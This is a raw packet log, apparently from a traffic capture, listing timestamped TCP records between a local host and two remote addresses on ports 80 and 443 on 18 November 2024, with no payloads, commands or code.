Nov 18, 2024 00:27:29.031532049 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.031546116 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.031560898 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.031563997 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.031580925 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.031593084 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.031599045 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.031614065 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.031632900 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.031652927 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.069828033 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.069861889 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.069876909 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.069895029 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.069948912 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.069948912 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.133671045 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.133723974 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.133744955 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.133783102 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.133799076 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.133816957 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.133816004 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.133832932 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.133850098 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.133866072 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.133882046 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.133903980 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.133904934 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.133904934 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.133904934 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.133955956 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.146373034 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.146394968 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.146410942 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.146450996 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.146488905 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.146537066 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.146553993 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.146569967 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.146590948 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.146622896 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.146904945 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.146919012 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.146934032 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.146950960 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.146962881 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.146966934 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.146991968 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.146991968 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147049904 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147063971 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147079945 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147106886 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147142887 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147253990 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147269964 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147285938 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147301912 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147330046 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147330046 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147330046 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147330046 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147372007 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147372007 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147428989 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147479057 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147608042 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147624016 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147638083 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147665977 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147665977 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147674084 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147686958 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147691011 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147706985 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147715092 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147722006 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147742033 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147742033 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147762060 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147778988 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147794008 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147809029 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147824049 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147833109 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147833109 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147840977 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147857904 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.147866011 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147866011 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147886992 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.147906065 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.185198069 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.185211897 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.185225010 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.185283899 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.185331106 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.249193907 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.249207020 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.249217987 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.249268055 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.249284029 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.249304056 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.249314070 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.249326944 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.249330997 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.249339104 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.249350071 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.249381065 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.249381065 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.249416113 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.260569096 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.260582924 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.260595083 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.260689974 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.260704041 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.260715008 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.260719061 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.260731936 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.260746002 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.260776997 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.260802984 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.260833979 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.260967970 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.260981083 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.260993958 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261007071 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261020899 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261024952 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.261053085 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.261101961 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.261358023 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261369944 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261382103 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261423111 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.261452913 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.261557102 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261569977 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261616945 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.261648893 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.261732101 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261744022 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261754990 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261785984 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.261817932 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.261881113 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261933088 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.261938095 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261950016 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261964083 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.261991024 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.262022972 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.262232065 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.262243986 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.262255907 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.262293100 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.262325048 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.262558937 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.262569904 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.262624979 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.262634993 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.262643099 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.262649059 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.262660027 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.262685061 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.262686014 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.262722015 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.299618006 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.300318956 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.300352097 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.300676107 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.300750017 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.300769091 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.300801039 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.300805092 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.300812006 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.300812960 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.300843000 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.300857067 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.300889969 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.300896883 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.300925016 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.323461056 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.324352980 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.324373007 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.324903965 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.324909925 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.364656925 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.364715099 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.364753008 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.364787102 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.364834070 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.364856005 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.364887953 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.364890099 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.364924908 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.364933968 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.364967108 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.364979029 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.365012884 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.365016937 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.365048885 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.365050077 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.365089893 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.375988960 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376023054 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376056910 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376068115 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376068115 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376100063 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376112938 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376147032 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376172066 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376182079 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376189947 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376224995 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376235962 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376271009 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376281023 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376300097 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376615047 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376647949 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376661062 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376682043 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376682997 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376718044 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376724005 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376751900 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376759052 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376785994 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376797915 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376821041 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376822948 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376852036 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.376859903 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376900911 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.376996040 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377031088 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377043009 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377065897 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377072096 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377106905 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377130985 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377178907 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377186060 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377219915 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377228022 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377264023 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377425909 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377460957 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377470970 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377490997 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377558947 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377604008 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377608061 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377641916 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377648115 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377684116 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377779961 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377813101 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377824068 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377846956 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377851963 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377882957 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377885103 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377917051 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377926111 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377952099 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.377954006 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.377990961 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.417118073 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.417278051 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.417310953 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.417339087 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.417349100 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.417378902 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.417426109 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.417458057 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.417493105 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.417526960 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.417535067 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.417599916 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.431478977 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.431540012 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.431644917 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.432128906 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.432151079 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.432163954 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.432171106 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.435534954 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.435586929 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.435694933 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.435863972 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.435898066 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.438890934 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.439295053 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.439317942 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.439718008 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.439723015 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.452649117 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.452775955 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.452908993 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.452960968 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.452960968 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.452976942 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.452986002 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.455652952 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.455678940 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.455796957 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.455940962 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.455951929 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.481075048 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.481091976 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.481103897 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.481194973 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.481199026 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.481209993 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.481220007 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.481231928 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.481239080 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.481245041 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.481256008 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.481273890 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.481302977 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.481369019 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.481384039 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.481395006 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.481415987 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.481431007 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.491259098 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491275072 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491285086 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491343021 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491354942 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491365910 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.491367102 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491451979 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.491535902 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491547108 CET	80	49741	185.215.113.206	192.168.2.6
